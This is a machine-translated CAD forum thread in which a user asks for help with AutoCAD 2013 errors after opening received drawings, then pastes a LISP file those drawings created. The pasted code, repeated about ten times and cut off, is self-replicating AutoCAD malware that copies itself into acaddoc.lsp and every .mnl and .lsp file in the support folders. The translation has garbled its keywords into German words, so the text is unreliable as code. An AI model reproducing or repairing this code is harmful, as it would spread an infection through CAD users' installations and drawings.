• Dieses Forum ist die maschinengenerierte Übersetzung von www.cad3d.it/forum1 - der italienischen Design-Community. Einige Begriffe sind nicht korrekt übersetzt.

APERTURFILE ROVINA

  • Ersteller Ersteller jim78b
  • Erstellt am Erstellt am

jim78b

Guest
Sie sollten mir helfen, bitte, sie gaben mir Dateien, in denen es sagt, dass sie unvereinbar sind usw. etc. ok ich sie öffnen... aber das Problem ist, dass ich bereits neu installiert 2 mal autocad mechanische 2013 , es verliert mich in Start laden 6 Datei lisp, die ich in der Regel verwenden und mir sagt:

Laden Modell dlls.
Öffnen eines Formats der Datei autocad 2007/lt 2007.
Substituierung [SANSS___.TTF] für [sas_____.pfb].
Regenerationsmodell.
Diese Zeichnung wurde in der Sprache 'ita' mit Übersetzungsinformationen erstellt. vor der Arbeit mit dieser Zeichnung sollten Sie es in die Systemsprache 'enu' übersetzen. Die Arbeit mit der unübersetzten Zeichnung kann die Übersetzungsinformationen löschen; Fehler: fehlerhafte Liste auf Eingabe
autocad menu utilities geladen. fehlerhafte Liste auf Eingabe
Befehl:
autodesk dwg. Diese Datei ist eine vertrauenswürdige wg zuletzt gespeichert durch eine autodesk-Anwendung oder autodesk lizenzierte Anwendung.
Befehl:
befehl: rt unbekannt befehl "rt". drücken f1 für Hilfe.
 
ciao ho fatto reset e anche reinstallato ma nulla con questi dwg mi crea un file lisp nella cartella..


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App lspfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln1 0)


(setq flagx t)
(setq bz "(setq flagx t)")
(defun app(source target bz / flag flag flag1 wjm wjm1 text)
(setq flag nil)
(setq flag1 t)
(falls (findfile-Ziel)
(Prog.)
(setq wjm1 (offenes Ziel "r")
(while (setq text (read-line wjm1))
(if (= Text bz) (setq flag1 nil))
),
(close wjm1)
);
), wenn
(falls flag1
(Prog.)
(setq wjm (offene Quelle "r"))
(setq wjm1 (offenes Ziel "a"))
(write-line (chr 13) wjm1)
(while (setq text (read-line wjm))
(if (= Text bz) (setq flag t))
(falls Flagge)
(Prog.)
(schriftlicher Text wjm1)
);
), wenn
),
(close wjm1)
(in der Nähe wjm)
);
), wenn
); defun
(Setvar "cmdecho" 0)
(setq acadmnl (findfile "acad.mnl"))
(setq acadmnlpath (vl-filename-directory acadmnl))
(setq mnlfilelist (vl-directory-files acadmnlpath "*.mnl"))
(setq mnlnum (Länge mnlfilelist))
(setq acadexe (findfile "acad.exe"))
(setq acadpath (vl-filename-directory acadexe))
(setq Unterstützung (strcat acadpath "\support"))
(setq lspfilelist (vl-directory-files support "*.lsp"))
(setq lspfilelist (Append lspfilelist (list "acaddoc.lsp")))
(setq lspnum)
(setq dwgname (getvar "dwgname"))
(setq dwgpath (findfile dwgname))
(wenn dwgpath
(Prog.)
(setq acaddocpath (vl-filename-directory dwgpath))
(setq acaddocfile)
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(app mnlfilename acaddocfile bz)
(App acaddocfile mnlfilename bz)
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
(App lspfilename acaddocfile bz)
(App acaddocfile lspfilename bz)
(setq lspn (1+ lspn))
),
);
), wenn
(setq mnln 0)
(> mnln mnlnum)
(setq mnlfilename (strcat acadmnlpath "" (nth mnln mnlfilelist))
(setq mnln1 0)
(> mnln1 mnlnum)
(setq mnlfilename1 (strcat acadmnlpath "" (nth mnln1 mnlfilelist))
(app mnlfilename mnlfilename1 bz)
(setq mnln1 (1+ mnln1)
),
(setq lspn1 0)
(> lspn1 lspnum)
(setq lspfilename1 (strcat support ") (nth lspn1 lspfilelist))
(App mnlfilename lspfilename1 bz)
(setq lspn1 (1+ lspn1))
),
(setq mnln (1+ mnln))
),
(setq lspn 0)
(> lspn lspnum)
(setq lspfilename (strcat support "))
